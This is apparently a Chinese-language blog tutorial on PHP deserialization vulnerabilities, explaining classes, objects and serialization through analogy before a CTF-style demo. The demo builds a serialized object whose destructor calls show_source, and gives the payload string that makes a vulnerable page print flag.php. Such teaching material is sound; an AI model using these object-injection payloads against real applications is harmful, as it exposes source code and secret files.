PHP反序列化漏洞

0x00 何为类和对象

说到序列化和反序列化就不得不提到两个词:对象

那么什么是,什么是对象

教科书式的答案是对象的抽象,对象的实例

那啥叫个抽象,啥叫个实例呢

简单的说,就是对象的一个标准模板,而对象就是按照模板做出来的实物

举个栗子

,是一个类

所有的都有一个脑袋两个胳膊两个腿

这个就是关于所有的一个标准模板

对象

假设一个真实存在的对象小芳,村里有个姑娘叫小芳,她的脑袋倍儿锃亮

这个就是一个具体的了,小芳就是按照的模板实际出来的一个实物

代码里具体是这样实现的

<?php
    class BeautifulGirls{
        // 定义biu biu biu 忒否 girls的模板
        public $name;

        public function fail_in_love(){
            echo "My name is ".$this->name;
        }
    }

    $MissFang = new BeautifulGirls();   //实例化了一个biu 忒否 girl叫小芳
?>

0x01 何为序列化和反序列化

了解类和对象了后,来看看什么是序列化和反序列化(以下情景过于虚拟,推荐看官看看大刘的三体)

三体中有这么一个情景,三体这个星球有三颗太阳,而且很不稳定,有时候离得近有时候离得远,有时候是一个,多的时候蹦出来仨斗地主,导致三体人长期生活在一个天气很不稳定的环境下,从而衍生出来了一种脱水的本领,仨太阳出来斗地主的时候,三体人就都脱水成为一张纸,以便保存,气候适宜的时候再由值班的人员将大家浸泡在水里,恢复形体...

对三体人来说

脱水,就是序列化的过程

浸泡,就是反序列化

而代码在运行的时候,有的时候需要将实例对象存储起来,这个时候就需要像三体人一样脱水,不过对象脱水只能变成一个字符串

<?php
    class ThreeBody{
        // 定义类
        public $name='test';

        public function fail_in_love(){
            echo "My name is ".$this->name;
        }
    }

    $reallyTreeBody = new ThreeBody();   //实例化了一个对象

    echo serialize($reallyTreeBody);    //将对象序列化后输出
?>

运行后就会输出一个字符串,这个就是对象脱水(序列化)后的产物

而这个字符串浸泡的时候,一定得有个模板作为标准才能恢复

<?php
    class ThreeBody{
        // 定义类
        public $name='test';

        public function fail_in_love(){
            echo "My name is ".$this->name;
        }
    }

    $zhi = 'O:9:"ThreeBody":1:{s:4:"name";s:4:"test";}';    // 序列化后的字符串

    $reallyTreeBody = unserialize($zhi);    // 把字符串浸泡恢复一下

    echo $reallyTreeBody->name; // 成为对象了,把对象的name属性输出一下
?>

运行后,就会输出对象的name

0x02 具体漏洞演示

如上图,这个页面会将参数f进行反序列,然后在析构函数里面会把对象的test参数源码输出出来

插一句析构函数(__destruct),这个函数是在对象被销毁的时候调用的函数,当页面运行完时,会回收内存,将对象消毁,所以页面结束时就能触发
同时还有其他的一些函数自己去搜一搜

当我们想要它显示指定的源码时,就需要构造一个对象,test属性内容就是文件名

那我们就可以在本地先写一个指定test属性内容的对象,然后去序列化一下,再将字符串反序列化就能得到我们指定的一个对象(其实就是脱裤子放屁,脱水一下再去浸泡一下)

<?php
    class example{
        public $test='flag.php';

        function __destruct(){
            echo show_source($this->test);
        }
    }

    $a = new example;

    echo serialize($a);
?>

运行后就能得到我们想要的对象的序列化结果

O:7:"example":1:{s:4:"test";s:8:"flag.php";}

再将这个字符串传给f参数,就可以显示flag.php的内容

posted @ 2024-03-05 18:35  WaxToday  阅读(3)  评论(0编辑  收藏  举报